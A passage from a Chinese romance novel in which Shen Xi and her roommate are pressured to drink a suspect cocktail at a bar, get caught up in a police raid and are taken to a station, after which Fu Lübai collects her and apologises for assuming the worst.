“还看么?”他声音温淡着问。
那修长白皙带着几分清冷禁欲的指还抵在开门键上,随着动作佛珠完全露出,像是水墨画。
沈晞眼睫轻垂了下。
“不看了。”她抬手主动按下了行政部二十三层的键,傅律白放下了手。
一上一落间,两人的手臂短暂交错,质地偏软的衬衣袖轻蹭过她的手腕,微痒。
她眸色微顿,轻抿了下唇,以至于都没注意到傅律白没有选择要下的楼层。
沈晞轻吸了口气,又想到什么,昂首挺胸一幅“我准备好了,你开夸吧”的样子,很是骄傲。
男人垂眸下来,微顿,似乎在寻找什么措词。
沈晞微微背起手,下巴抬起的更高了点。似乎每根毛孔都在叫嚣着——我说到做到没去找周闻颂,还拯救了一下你的公司形象哦。
男人却忽然抬手过来,沈晞莫名有些紧张,头顶被轻轻触碰,只一下。像是有一股电流从发尖传到心脏,有些酥麻。
她抬起头,有些错愕的看向他。
然而下一秒,一只黑色的笔帽被那修长清冷的手拿着,举在她的眼前。
“这是什么新的造型么?”温淡的声音中,还带着几分求知若渴的谦逊。
沈晞越过面前好看的手指,看到了映在电梯壁上自己朦胧的样子。一幅加班出来的乌黑的眼圈,被她烦躁抓出来的鸡窝头,而这个笔帽——
她有些目光呆滞的收回视线,想到刚刚被触碰的位置,应该是她写资料崩溃觉得头上要长脑子而无意识拿笔戳了戳,再拿下来写,也没注意到笔帽被落下。
她刚刚,就是顶着这副尊容,像个天线宝宝一样和他如此自信讲话的???
沈晞瞳孔剧烈震动,快要裂开了。
恨不得找个地缝钻进去。
就在这时,“叮”的一声电梯门打开,拯救了她。她直接看也没看,一句话都没说的跑了出去。
傅律白看着落荒而逃甚至打滑还差点和一旁的消防栓来个亲密接触的人,先是皱了下眉,随后又忍俊不禁,最后还是忍不住轻笑了下。
她是真的很会让人心情愉悦。
沈晞一口气跑到了拐角,他视线彻底看不到的地方,才靠在墙上,扶着膝盖轻喘着。
又想起刚刚的画面。
啊啊啊啊啊!
太丢人了!
他们竟然没有一个人告诉她,还让她顶着这个造型,走遍了各个领导办公室,甚至还和彭念真撕了个逼。
她是怎么能忍住不笑的啊!
所以其实那些个领导,在夸奖她时露出的不是和蔼慈祥的笑,而是被她逗笑的是吧?
“茜宝儿怎么了?怎么靠在这了?”梁靖刚打印完东西回来,就见人这样。
沈晞抬头,一脸愤恨,“你们这群!叛徒!”
“怎么可能呢,”隐隐也能感受到两个行政部之间的暗潮涌动,梁靖还以为她在说他们会偏向彭念真,急道,“我们最爱你了茜宝儿!”
-
石狮立于两旁,朱门内。
傅律白坐于黄花梨木椅上,拿着紫砂壶亲自斟着茶。
对面是位头发花白的老者,看上去七八十岁,穿着件改良唐装,人倒是精神,尤其一双眼睛带着看透沉浮的睿烁。
连禹开然都收起不着调,敛去一身公子哥味儿,乖乖陪坐在傅律白旁。别说,这样一看还真挺像回事,有点器宇轩昂的靠谱劲儿。
老者端过茶,轻饮着,漫不经心道:“也难得,这些年也就只有你还记得来看看我。”
代代更迭,也只看今朝罢了,谁还记旧人,都如尘沙聚散。他能安稳无虞的走下来,便已是上天庇佑。
傅律白给自己也倒了杯茶,动作未停,温声道:“是您喜静,不愿人来叨扰,总是闭门不见。我能来看您,是我的荣幸。”
老者喝茶的手微顿,隔着茶杯檐看着面前这位和他差两代的小辈,不卑不亢,姿态从容,怕是如今仍坚持在幕前的上一代,都难以找出如他这般无论是气定神闲的气势、还是清贵高远的气质的人来。
甚至连他爷爷如他这般年纪时,都做不到这样。
目光越发的欣赏。
他轻放下茶杯,又叫人将棋拿来。
两人共同棋盒中拿子,分黑白。
傅律白才要抬手,放在桌上被调成静音的手机屏幕忽然亮了起来,一串熟悉的未备注的数字便出现在余光里。
也就这半秒分神,老者已拿到黑子,先下。
傅律白看着对面的人已开始持子,神色如常。
电话仍在拨进。
他垂眸,迟疑两秒后,最终拿起手机,带着几分失礼的歉意道:“抱歉,韩老,我先接个电话。”
“欸,去,我也刚好去个洗手间。”韩老应的随意,说着起身,傅律白也起身去扶,韩老轻拍他的手,“先去忙正事。”
说着便被候在一旁的管家扶走。
傅律白站在雕栏长廊里,晚风轻拂着院中香樟树叶浮动着。
他还真不觉得会有什么正事,但响了几秒还是过来接。
“傅律白。”
女孩声音软糯,不似白日里那般的骄傲,不知是否沾了春日里的晚风,尾调微微拖着,又带着几分迟疑,听上去竟显得几分柔情,却也更像撒娇。
他愣了下,这好像是她第二次叫他的名字。
比那次更……
然而下一秒,他素来平稳的表情竟有瞬间的紧绷。
因为她在那边说:“你能来警局接我一下么?”
10. 第 10 章
傅律白回来时,禹开然就觉得他脸色有些不对。虽然表情依旧温淡如常,可厅内暖黄色的灯打在他身上,便觉得那道总是人间一抹清亮的身影不再似以往般从容闲适,人有些微微发紧。
其实是很细微的反应,别人都不会看出来。但他从小记事起便被耳提面命着,要和这位打好关系为三哥马首是瞻,二十多年的察言观色了解他比自己还了解,所以还是被他给看了出来。
禹开然一愣,不知出了什么事,能值得三哥有这样的反应,刚想问,韩老便也回来,一旁的管家还端着一小盘核桃莲子来,大有彻夜长谈的架势。
“来尝尝,都是院里自己摘的。”韩老招呼着,又说,“你来得不巧,只剩去年存的了,等再过两月你再来,就能吃新鲜的了。”
傅律白上前,带着几分歉意道:“实在抱歉韩老,有事我得去处理一下。”
禹开然更是一惊,棋局才摆哪有临阵就走的礼数,还是对着韩老。这到底是什么天大的事情,又想给三哥使眼色,问是否可以让他去代办。
可这个想法才出,便又自己给自己否了,既然要三哥亲自去的,那必然是不能代的。
韩老倒是神色如常,“我也乏了,之前不显,这一走动人便懒了。刚好,你忙你的去。”
说完,又想起什么,“事,过犹不……嗐,”未说完,韩老侧头自嘲轻笑,“你是有分寸的,又哪里需要我叮嘱,老喽老喽人就是话多。”
他轻摆着手,“快去吧。”
新拿来的小食,又哪里是乏了,不过是顾及他的面子。傅律白自然领情,稳妥又不失礼数的笑道:“改日再来向您请教。”
韩老笑着说好。
又哪里还需要他这老家伙的指教,就他这棋艺,早在多年前便悄悄开始让他。虽让的不明显,但他倒也还没老眼昏花的程度。
韩老喝着已经凉的半杯茶,看着那道渐远的挺拔身影,也便只有这样的才能真真称的上一句青年才俊。
没想到傅老头子自己也就那样,他们两个打配合了一辈子,他也没怎么瞧上过,养出来的孙子倒是出类拔萃的无出其右,确实要看今朝了。
管家一路将人送到门外,说着,“天黑,二位公子慢些开。”
胡同里的路最是不好走。
傅律白轻颔首。
禹开然也客气点头。
等人走后,他便端不住了,忙要问着究竟出了什么大事。
傅律白便开了口,听完后,禹开然微怔,他以为是怎样天大的事,没想到竟然只是因为那个乖宝宝。
愣然两秒后,速速的拨了几通电话出去。两分钟后,他皱着眉有些急道:“这个乖宝宝怎么和胡寿搞到一起的?黄赌毒就没他不碰的简直烂到没边了,刚跟我说这次突击检查就发现他们包厢酒里有——”
禹开然忽然噤了声。
因为他看到,柔和的路灯下,三哥因拜访长辈特地穿了件灰色衬衣,压下了他几分木秀于林的锋芒更显内敛沉稳,而此时是万事万物也压不住的周身凌利,就这样直直的看过来,眼底是不加掩饰的沉。
像是险峻高山上最锋利的山尖,密密簌簌的尖尖能要人命,带着说不出的压迫感万锋齐发似的将人停在原地,饶是认识这么多年,禹开然也一时间大脑宕机,忘记了后面的话。
傅律白声音沉如深海,“有什么?”
-
沈晞坐在硬邦邦的椅子上,悄悄打量着四周,空荡、极简、有序,没有任何多余的摆放。
这种极简和有序感,是和傅律白身上那种不一样的,他的极简是收敛神秘的,让人下意识想去探究。有序也是,他有种某种自己的运行规则,连靠近他身边的人都不自觉的被影响,下意识跟着他的秩序,也变得清晰。
而这里,是冰冷铁血又带着明晃晃的威压的。
尤其是面前“坦白从宽,抗拒从严”极具威严的几个大字,让她莫名的有些紧张。
是那种,会不自觉下意识开始反思,不确定自己是不是真的犯了什么错的紧张和不安。
时间还要退回到三小时前。
沈晞觉得自己简直丢了个大人,这和她想象中的她光鲜亮丽然后云淡风轻的接受他一些个赞许——毕竟她最近受到的夸赞十分的多,不差他这一个,她自当洒洒水般抬起手轻捋鬓角碎发道而后,十分谦虚又从容的说:小意思啦,这没什么的。
完!全!不!一!样!
幸好她没在他开口前一秒,提前捋头发,不然她都不敢想象她那炸毛鸡窝头会不会被狗啃掉一块似的,连做个鸡窝都非常的抽象扭曲。
反正,这公司她是一秒钟都待不下去了。
这段时间,大家都知道她辛苦,老徐甚至亲自发话让她今天差不多就行了去休息,于是她提着小包包便跑了。
但是跑半天,都不知道去哪儿,加班的后遗症在这一刻无遗的显露了出来——逛不动一点,连商场都不想去。
于是她便灰溜溜的坐着地铁直接滚回了学校,在宿舍床上躺尸。躺了大半个小时,宿舍门再次被人从外面打开,露出了宁今雨同样死气沉沉打工人的脸。
“你回来了?”她从床上探出个脑袋来,没什么精神的问。
宁今雨见她回来的这么早,也是一愣。
“嗯。”她眼睑微垂的应着,过了两秒,像是忽然有了什么想法,抬起头问,“茜茜,想去喝一杯么?”
喝一杯?
现在还有什么是比喝一杯能更让她冷静和放松的?
她可太需要了!
两个人一拍即合,简单收拾了一下换了件衣服后,两个人重新出门。
晚高峰,也没打车,坐的地铁。
学校站,这个时间往外走的学生反而少,难得在这站有座位。
宁今雨微微仰头靠坐在椅背上,目光有些发空。沈晞凑近,看到她眼底淡淡的黑眼圈,问:“你最近是不是很累啊?”
宁今雨轻眨了下眼,思绪像是微微回来了点,轻“嗯”了声。
沈晞抬手,摸了摸她的头,“那你等会儿多喝两杯,回来好好睡一觉,我会清醒着的。”
两个人出去,总要有一个是保持清醒的。
她的手好温柔,声音也好温柔。她的温柔,不是那种柔情似水的温软,而是一种可靠的温柔,温柔的让人想要落泪。
宁今雨轻垂了下眼睫忽然靠到她的肩上,欣然同意着,“好啊。”
她比她高两厘米,这个角度,沈晞便没能看到她微红的眼眶。
感受到肩膀微微沉沉的重量,沈晞也只以为是她累了,很大方的借了自己的肩膀给她,有些迟疑,最后还是轻声讲,“工作是做不完的小雨,别总这样紧绷着自己,人类是允许休息和放松的。”
和她被迫加班不同,宁今雨是真的一直把自己的人生安排的很满,无论是最初的剪vlog做阿婆主,还是在民宿勤工俭学,她一直推着自己一刻也未松懈的往前,像是一个弹簧一样压到最紧。
沈晞知道每个人都有自己的路,可她此刻感受到了她满溢出来的紧绷,还是没忍住说了。
就在这样安静又杂乱的地铁上,像是可以这样没有终点的一直摇晃的开下去,虽然不是因为工作而紧绷,但还是有一行温热的泪没控制住的从宁今雨眼眶夺出来,顺着眼角流进发丝。
去的酒吧就在离学校三站远的地方,来的几乎全是附近的学生,她们也来过几次,很安全干净。
她们要了些酒,就在吧台喝着。沈晞因为提前承诺,所以就要了杯莫吉托慢慢喝着。
宁今雨倒是喝的尽兴,中途要去洗手间,沈晞不放心的跟着一起。宁今雨笑着说自己又没醉,她其实是偏清冷的长相,可喝了酒这样一笑,就有点冷艳玫瑰那味了,很是迷人。
沈晞觉得她这样有点危险,自然陪着,“我自己想去卫生间不行?你这个人怎么这么霸道。”
宁今雨没点破她,笑着说好,一路两个人有说有笑的聊着天,思维清晰步伐很稳。但在宁今雨误把卫生间附近的包厢认错推开时,沈晞就知道她还是有点醉了。
烟雾缭绕,几个明显的社会男人分坐着,身旁是年轻的女孩们,暧昧靡靡。
这个画风出现在这家酒吧里实在违和,沈晞愣了下。
包厢骤然被打开,沙发里的男男女女们茫然又带着几分被打扰的不悦抬起头。
“抱歉。”那种违和感越发的明显,沈晞说完就想就想关上门,拉着宁今雨快点走。
坐在沙发最中间抽烟的男人,视线也找到了落点,看了过来。目光由不悦、冰冷、狠厉在看到什么后,骤然一笑表情变得有趣,他眼角有一道浅浅的疤,因这一笑而像个阴冷的毒蛇。
让沈晞身上的汗毛忽然竖起。
就在这时,因没看到卫生间而有些疑惑的宁今雨忽然回过神来,往前一步,挡在了沈晞的面前。因喝了酒而有些慵懒的眸瞬间变得凌厉强硬起来。
沈晞还是第一次见她这样,她能感受到前面的人的紧张。
也因此,下意识越过她头发,去看那个带疤男。
“呦这不巧了么,来一起啊,喝什么我请,”说话间,带疤男已经站起身,向她们走来。
宁今雨下意识后退着,沈晞在她身后感受到,自然配合。
带疤男眼神微抬。
身后的门忽然关上,沈晞回头,这才发现,原来门两侧竟然还站着两个人!
她虽然有些弄不清状况,但目前的情形让她后背开始有些紧绷。
“走什么呀,喝两杯,”带疤男站到她面前,看到她身后的人时,目光带着几分惊艳,“你同学啊?哦,我忘了,你在这附近上学呢。来啊,别客气啊妹妹,尽情玩,我请。”
这话是对着沈晞说的。
宁今雨咬牙,像是一只小兽一样,“你要干什么?!”
说着,将身后的沈晞挡的更紧了。
感受到她的紧张,沈晞伸出一只手来,扶住了她的肩,无声的安抚她。像是在说:没关系,没什么大不了的。
宁今雨心中一暖,看着面前人的目光更加凌厉。
“不干什么,紧张什么啊,就喝两杯。”刀疤男轻笑着,似乎在无奈她的小题大做,“这样吧,就喝两杯,喝两杯就让你们走。”
宁今雨凌厉的目光开始变得有些松动和迟疑。
带疤男轻笑着看着她。
就在这时,一道偏软甜的声音忽然响起,可说出来的话却很硬很干脆,碰撞在一起有着说不出的味道来。
“我们不喝,难道你还要非法囚|禁我们么?”
带疤男愣了下,视线微转,眼中是不加掩饰的兴趣,可下一秒,他却对上了一道直白的视线。明明玻璃珠似的清澈可爱眼睛,此时却显得冷静且锋利,看上去有股置身事外的清冷,和不好惹。
他心中微震,在想继续探究时,宁今雨却像是忽然做了某种决定,眼神一定,直直的看向他,“我如果喝了,你就放她走?”
带疤男还没忘记正事,又将视线暂时的移开,看向宁今雨。和宁今雨认真的表情不同,十分的漫不经心道:“说什么放不放的啊,不知道的小妹妹还真以为我要干嘛呢。”
他说这话时,又打趣般的看了眼沈晞。又收回视线和她说:“就喝一杯,今天不想玩就算了。”
宁今雨却仍一错不错的看着他,似乎要一个肯定的答案。
刀疤男眼底漫不经心的笑也慢慢收起,直直的看着她,下一秒又带着点意味深长的笑说:“对,放她走。”
宁今雨点头,但视线仍一直落在他的脸上,就这样直直的看着他,似是想确定他说的是真是假,也像是想用这双清冷凌厉的眸让他在日后的每一天都记住今天的承诺。说:“好。”
刀疤男对于她的视线似乎没什么压力,微微侧头给不远处的人一个眼神,那人便拿着杯酒过来了。
看上去五颜六色,像极了女巫的药水,宁今雨便要接。
沈晞皱着眉,觉得现在男的怎么都这么有病,逢人就要叫人喝两杯。
怎么喝两杯是能叫你延年益寿长寿不老么?
她想也不想的伸手就要去拦。
就在这时,包厢的大门再次被人从外大力打开,并带着比她们有气势无数倍的声音说:“警察,检查!”
那个画面是十分戏剧的,发生的很快,但又像被放了慢镜头一样每个细节都清晰。
带疤男看到来人,神色一变眼疾手快的就把酒从小弟和宁今雨交接的手中打翻;沈晞去拦的手抓了个空,她这一下力气用的大来不及收,便打到了对面小弟的胳膊上;酒杯“啪”的一声摔碎,酒直接洒在空中,不偏不倚的落到了进来的警察叔叔鞋上。
噼里啪啦又手忙脚乱,怎么看怎么在像销赃。
警察叔叔脸色一下就变了,“带走!给我全带走!”
于是他们便这样被带走了。
这还是沈晞第一次坐这样的车,有些无所适从和懵逼,宁今雨的脸色则一直很难看,坐在车里没说话。
过了会儿沈晞下意识探着头和前面的人说:“警察叔叔我们和他们不是一伙的,他们不让我们走,幸好你们来了。”
那语气,跟解救人出水火似的,前面的警察挺年轻,应该才工作不久,语气也轻快,“我也看你们气质就和那些人不一样,要不怎么给你们单独一辆车呢。但还是得回去一起做个尿检哈。”
-
禹开然一边和值班领导交涉着,一边暗暗看身旁的男人。
傅律白负手而立,站在不远处。白炽灯照在他的身上,将他颀长的影子打到对面的玻璃上,眼睑微垂,让人看不清神色,只静静地看着里面坐着的人。
但好歹是敛了一身的煞气,禹开然暗自松了口气,刚刚真把他吓一跳,来的路上,人坐在车里周身气场外放的,让他大气都不敢喘一下。
当时他就觉得,要是人的气场像修仙剧那样是有形的,三哥现在周围肯定气息缭绕浓郁到不行,至少有三米后,近者直接魂飞魄散那种。
那边已经决定放行,让人去走流程拿钥匙。
禹开然便也走过来,站在傅律白旁,顺着他的视线,去看里面的人。只见人穿着件很简单的白T和牛仔裤,安安静静的坐在有些掉漆的椅子里,眨着一双圆圆的大眼睛打量着,但头没敢怎么大幅度的动。
看上去确实很乖,干净纯粹的和这环境都有点格格不入。
禹开然收回视线,又看向身旁的男人,“三哥你也别太……”
他本想说“急”,但又觉得这个词汇放在三哥的身上,实在是太违诡异。他身上就不应该出现类似这种太过度波动,甚至偏向负面的情绪,应当总是气定神闲从容淡然的,好像什么都在他的掌握之中没什么大不了。
回想一下,刚刚三哥“急”了么?似乎也并没有,甚至一路上也只是他在打电话,而三哥只四平八稳的坐在车中,目光淡淡看向窗外。
但不知道为什么,他刚刚下意识就想用“急”这个字。
无法定义,他默默将最后这个词吞下,又说:“先等尿检结果出来,你看——”
还未说完,却见身侧一直平稳让人看不出什么情绪的男人,眸色猛然一凛。
恰好这时开门的人过来,将门打开,在禹开然还没反应过来之际,身旁的人已经大步流星的走了过去。
速度快的,让开门的人都愣了下,他下意识顺着风的方向看过去,但门又自动关上,只看到一个宽大冷峻的背。
-
尿检?
不是她想的那个意思吧?
回想到这个关键词,沈晞骤然睁大了眼睛。
大脑从最初太过突然的宕机,而慢慢清晰冷静下来。
那个被急匆匆扔掉的酒,刚刚的检查……
让沈晞隐隐猜到些什么,再加上这样的环境下,开始后知后觉的后怕。有些不安的轻舔了下唇,紧张的发渴,甚至还是思绪乱飞,要是真的,要是刚刚宁今雨真的喝了,或者她也被按着喝了……
门在这时忽然被从外面打开,她有些惊慌的下意识回头。
还未看清,一道宽大的身影便已经大步流星的走到面前,有些强硬的捏住她的下巴,抬起。
那双漂亮的眸子里带着几分慌乱和紧张,但依旧清澈明亮,是聚焦的。
傅律白一双浅淡的眸子,冷静直白不带有任何情绪,近乎冷漠的一寸寸审视着面前的人,脸色是正常的白皙并不见苍白或是冷汗,呼吸也并未急促,只是唇被她舔的愈发殷红水润饱满。
他没什么表情的微微移开视线,手却未离开,还是打算再确定一下。拇指向下,抵住她的下颌,同时四指并拢滑向侧颈,按在上面的脉搏上。
沈晞被捏的有些发痛,被迫抬头,也终于看清了来人。微微怔愣,心中的不安在这一刻也得到了缓解,惶惶无处安放的心脏也得以问问落下。
可下一秒。
温热的呼吸落下,凌冽的雾凇和淡稳的檀木味道萦绕在鼻息间,明明是很违和的两股味道却又异常符合他,沈晞觉得他便就应当是这样的。
凛冽温淡气定神闲且从容不迫的。
她有些失神的看着近在咫尺的人,比那晚在办公室时离得还要近,她甚至可以看到他琥珀色的瞳眸里自己小小的身影,以及他浓密黑长的睫毛。
脖颈间传来温热且具有压迫感的力道,她才反应过来两个人此时的姿势。
“?!”
眼睛瞪的比刚刚还大了,她的脖子就被他掌控在掌心中,敏感又带有危险性。
这是……在干什么呀?
指尖下脉搏的跳动虽然有些快,但十分有规律。
傅律白终于松了口气,冷淡到不行的脸微微缓和,刚要将手松开,忽然间指尖下的脉搏忽然重重一跳,又停止,跳漏了半拍。
他眸色一凛,仔细凝视着面前的人,同时将手指再次按压在她的颈部动脉上。
只见面前的人,连脸色都开始变得有些发红发烫!
他瞳孔骤然一缩,这是符合一小部分初次吸食人的反应的。
就在这时,门被人再次从外面打开。
傅律白也未动,充耳不闻般,只紧紧看着眼前的人。
沈晞被他看的有些不自在,她不知道他在干嘛,想干嘛。但她视线越过他的肩,隐隐是能看到站着两个人的,她开始犹豫是否要提醒他一下,换一个地点和时间再说。
站在门口的禹开然也觉得现在的画面有些诡异,从他的角度看过去,就是他三哥微弓着腰宽大的背影完全将女孩包裹住,单手掌控着人家,姿势强硬又危险的。
其实是非常具有美感,尤其是他们所处的环境、背景,又是那样庄严切肃穆的,便更具画面冲击感。
可是,三哥做这样的事,就已经足够冲击和震撼。
他都不知该作何表情,旁边站着的值班领导大约是被林局通知了,此时表情也是十分复杂。想要制止提醒注意场合,党的光辉见不得这些,又碍于什么不好开口,一脸尴尬。
禹开然压下心中的震惊,轻咳了下,低声提醒,“三哥,结果出来了,没事。”
傅律白听到这话,紧敛的情绪才慢慢松开,神色稍霁。垂眸淡淡看了眼面前脸更红的人,才意识到这里的温度有些高。
眼尾轻睨,收回手,直起身,看都未再看她一眼,转身。
沈晞的视线下意识跟着他,看他站在门口,一旁的警察叔叔似乎在跟他说着什么,她这个角度看不到他的神情,只能看到他的背影,隐隐约约还能看到门外还站着几个警察叔叔,轻跳的心脏瞬间变正常,而后是突突的跳动着。
紧张惶恐再次卷土重来,觉得自己真是疯了,在这种情况下,刚刚在乱想什么啊?
她不安的看着对着她的警察叔叔,意图在他表情上看出些什么来。但也只看到他一板一眼,什么都看不出,这个反应更让沈晞的心提到嗓子眼。
虽然她没碰任何东西,可是她毕竟和他们是在一个包厢的,她对这些并没有太多的了解,但也听说什么提供场所都会被处罚判刑的,那在同一个场所里的人呢?
她的掌心都开始出汗,只见警察叔叔又说了句什么,傅律白微微颔首,这是在阐述她的罪证要把她关起来,他表示了然的意思么?
她嗓子干到不行。
傅律白礼节客气的和对面的人表示完辛苦后,头也未回,好像就知道人还傻乎乎坐在那一样,声音冷淡道:“过来。”
是一种,近乎带着训斥的感觉,可听在沈晞耳中,却像是天籁一样。如收到指示般,站了起来,走到他宽阔如顶天立地的高山背后,就好像只要站在他身后,就不会再有事一样。
仍旧没有回头,傅律白再次冲对面的警察轻点了下头,路便客气的被笑着让开。
又眼尾轻点了下禹开然,禹开然了然的处理后续,给他个放心的眼神。
人便自顾自的往前走着,也未管身后的人有没有跟上。
他的腿很长,此时也不绅士,但沈晞不傻,在这样的情境下,只会选择大步跟上他。连目光都未敢看向别处,只紧紧的锁定他那宽阔挺拔的背。
这个分局的灯大概有些时日未换了,光有些偏暗,晕黄的暖色调将他整个人照的有些朦胧,甚至如果跟不上拉开些距离后,就觉得连那背影都变得光怪陆离的不真实,好像触手可及又好像无论怎样都无法触碰到。
可此时,确实她在这无厘头又陆离紧张情况下,唯一的庇佑。
雾凇冷调疏离,可檀木又令人心安。
亦如他这个人。
沈晞的心脏不合时宜的,随着年岁已久的白炽灯重重的跳了下。
行将就木,无力回天,一盏灯熄灭,光线变得微暗。
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有人打电话给后勤来换,声音嘈杂,又渐远,有人忙碌,也不再关他们什么事了。
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他也不过是按自己正常的节奏和步伐,她便已追的如此费力。如果想要并肩同行,两个人之间,总有一个是在牺牲或是另一个辛苦的。
沈晞慢慢地跟了上来,却也只是跟在他后面,没敢像平时一样肆意傲娇,走到他身旁。
她现在就像个学生时代犯错的小孩,一不小心围观了次打架,虽然没参与,但被抓住,一起请了家长。无论过程是什么,可被请家长这个结果,就会无限心虚觉得犯了错。
于是亦步亦趋的跟着。
车子缓缓停到门外。
田师傅下来,将车门打开。
傅律白坐上去后,才发现人仍站在原地没动,他就那样就着大开的车门侧头,问向她,“还在里面没带够,还是今晚还有什么活动?”
他明明声音依旧温淡,沈晞却觉得又冷又冲,叫人有些委屈,可偏偏是自己错了,又不好讲什么,只得轻摇着头,轻咬着唇不放心又带着些恳求的看着他,“我舍友……”
“你倒讲义气。”傅律白将头转回来,不再看她,似乎已失去耐心,“上车。”
“……”
过了两秒,没人动。
傅律白深吸了口气,目视着前方没什么语调的说:“会有人把她送回去。”
得到确定的答案,沈晞这才放心下来,乖乖上了车,一句话也不敢再多讲。
田师傅在后视镜上看了眼,坐在后面的人淡淡抬了下眸,便心领神会的将车启动。正要开走时,一辆车急匆匆的从前方斜插并了过来。
傅律白并没有下车,只是打开了车窗,和人寒暄。
沈晞悄悄看过去,是一辆白色车牌。
她暗暗有些惊讶,仗着男人也侧着头看向窗外,而肆无忌惮的打量着他。他和人寒暄时,仍是那副温淡清贵有礼节的样子,不像和她。
沈晞垂着眸,轻抿了下唇。
车子再次启动,一路平缓而行。和上次同行时有说有笑的氛围截然不同,安静到沈晞连呼吸都觉得不自在,有几次她都想尝试讲话,但身旁男人那股生人勿进的气场实在是太过强大,让她直接哑口。
就在她觉得安静的快要窒息时,傅律白忽然叫田师傅停车。
此时恰好开到了河边,一侧是夜跑锻炼的人,另一侧则是店铺林立的夜市,充满了热闹的人间烟火气。
沈晞看着手撑着围栏站在河岸旁的男人,哪怕是这样人间烟火气中,他也是不染纤尘气质高远出尘的。其实,站在他的视角下,自己不过只是个被人嘱托稍加照顾的陌生人,不过是和小叔的师徒情谊,这份情分到她这里,本就不剩多少。
而他今日才回国,时差都来不及倒,便要因她大晚上折腾。换做是她,也会很不爽。
以至于,他连一路都忍耐不了,要中途吹吹风冷静一下,才能保持些风度。
其实他已经很有风度,要是她,一个八竿子打不到的人,时差都没倒过来,人又累又困的还得大半夜,甚至从被窝里爬出来,给这个人处理问题。她是一个好脸都不会给,甚至在心里各种激情辱骂。
正想着,岸边的男人忽然回头,淡淡看了她一眼,示意她下车。
沈晞深吸了口气,走下去,却也并未站在他身侧,仍是站在他的身后。她觉得自己理应道个歉的,但他这个人,气场实在是太过强,这样安静不刻意放下身段平易近人时,和他主动开口讲话,尤其是道歉的话,实在是需要做些心理建设。
她又深吸了口气,过了两秒,才低声说:“对不起。”
傅律白转过身来,垂眸淡淡看向面前的人,“对不起什么?”
夜晚的柔光打在他的脸上,都未将他衬的好讲话,居高临下,带着股审判的味道。
不是在宽恕的客气,意思着“没关系”,而是要让她自己说着自己的恶行,自我忏悔。
沈晞垂着眸,“对不起,这么晚打扰你。”
明明是事实,可说出来心口却有些发酸。
傅律白听到这个答案,轻侧了下头,将视线落向远处的河面。上面映着霓虹灯下的粼粼波光,人看上去更加的清冷疏离。
没听到回应,沈晞心更沉更酸了,却还是努力支撑着,“我请你吃饭吧?”
她并没有哄男性和道歉的经验,平时犯了错在外婆那里撒撒娇也就过去了。和那个生物学上的父亲是不可能的,毕竟他们这些年一直都在演绎着父慈子孝。和小叔,她也尽量乖顺,而小叔也是好脾气的,并且觉她可怜而对她更加宠爱。
所以她也很拿不准,这样可不可以。甚至都还没来得及思考,自己为何如此想要和他修复关系。此时她只觉得,自己确实很抱歉,不能失礼。
傅律白轻挑了下眉,看向她,淡声问:“是道歉,还是收买我,不要我和你小叔讲?”
肯说话就证明还有的谈,沈晞心中微喜,抬头看向他,睁着双大眼睛,十分真诚又有点不确定的问:“都有,不可以么?”
她倒是诚实,傅律白快被她给气笑了。
明明做了这样的事,可一双眼睛还是那样亮晶晶圆润润看上去十分无辜,因为身高的距离她向上看着,一双卧蚕便也微微隆起,眼中带着些希冀。晚风吹起她黑直的长发,纯白微宽大的T恤也在浮动,清纯又干净。
她确实长得很乖,乖到容易让人心软,却也更加可气。
傅律白无声轻叹了口气,仍是那副居高临下声淡人冷的样子睨着她,“怎么会和胡寿那种人搞在一起?”
他终究大发慈悲,点明她要忏悔认错的真正方向。
这次侥幸没事,下次呢?黄赌毒五毒俱全那意味着什么,行错一步只一次,清水芙蓉就会无力承受。
花无百日红,她自然可以一片片淬炼变成无坚不摧的荆棘,也可以经过风雨后零落成泥变得朴素平凡泯然众矣。
但不应当是以这种方式腐烂凋败掉的。
“谁?”还在等回答的沈晞听到他突然换了话题,还出现个陌生的名字,有些茫然的问,“胡寿?是谁啊?”
“不认识?”傅律白垂眸淡声问,他不确定她是不认识这个人还是只是不知道这个人的名字。
“是刚刚,包厢里的人?”沈晞眼睫轻眨,猜测着,“那个带疤男?”
傅律白压根都不知道这人的长相,也不关心他是带疤还是长犄角,轻抬了下眸算是默认,只问:“怎么会在一起。”
“我不认识啊。”沈晞简单解释完,觉得自己相当冤枉。看着面前一身笔挺,清贵又疏离的男人,莫名开始委屈。
觉得,就像是某种侮辱一样。
可她却又不愿示弱,眼尾微睨,质问着,“你怎么会觉得我会认识这样的人。”
她凭什么会和这样的人鬼混在一起,虽然她很爱玩,虽然……短短一个月时间,他已经在酒吧这种被人定义的不太着调的地方,遇到并且出事过两次。
但他怎么就可以,把她定义的就定义成那样胡闹的人。
面前的人眼尾微垂,她这双眼睛真的很会说话,笑时想把太阳都藏进眼中蕴藏着世间一切美好,示弱讨好时里面氤氲着水流般柔软乖的让人心软。
可现在,她只是轻轻垂了下眼尾,明亮清澈的光被遮挡住,就好像世界都亏欠了她。
“抱歉,是我先入为主,没有问清你。”傅律白也很诧异,在这件事上似乎失去了以往的出事习惯,有些过于冲动。
先入为主么?好像在接到电话,知道她和那样的一个惯犯被一起带走后,他便有些不受控制的去往最坏并且最不愿的方向去想。
轻易的,便被带走了思绪。忘记了事情的多种可能性,甚至忘记去想,她是被迫的或者某些意外。
这是一种极其不信任的表现,即使他们也才认识一个多月,还并未来得及十分了解。
但他仍旧就冤枉了人家。
“我向你道歉。”他郑重其事,又说了一遍。
沈晞多少是有些诧异的,他这样的人竟然会和人道歉,可随后也释然,他这样的人自然有担当,不会碍于那些虚浮的面子,敢做敢认相当君子坦诚。
可她还是有一点点不开心,其实,她本来想找姜瑶的,姜瑶是国际部的学生,当时国际部重修院校,暂时到他们校区一学期,便认识成了朋友。
是个快快乐乐的标准富二代,但临打电话时想起她最近去西班牙参加狂欢节去了还没回来。
她也可以找傅律白那位助理的,毕竟他是他指名在出事时可以找的。
可人在不安紧张的时候,大概总是想找更加想依赖熟悉的人,她都不认识那位助理先生,才只见过一面。找了他,他却这样,人又冷淡又不给好脸色。
面前的人不说话,轻垂着眼睫,看上去有点委屈巴巴的,不知道是不是河边风大还是怎么,连鼻尖都有些发红。
“吓到了?”傅律白微微俯身,想去看她的表情。
人家只是去学校附近酒吧喝点酒放松一下,却遇到了这种糟糕可怕的事,他都没第一时间去关心她的情绪,还要人反过来主动道歉。
傅律白觉得自己真是长途飞行将脑子飞迟钝,这事办的相当不够绅士漂亮。
同时也发现,她的眼睫真的好长好密,他们的身高确实也有些差距。她只是这样轻眨着睫毛,他微微俯身都还是看不清她的表情。
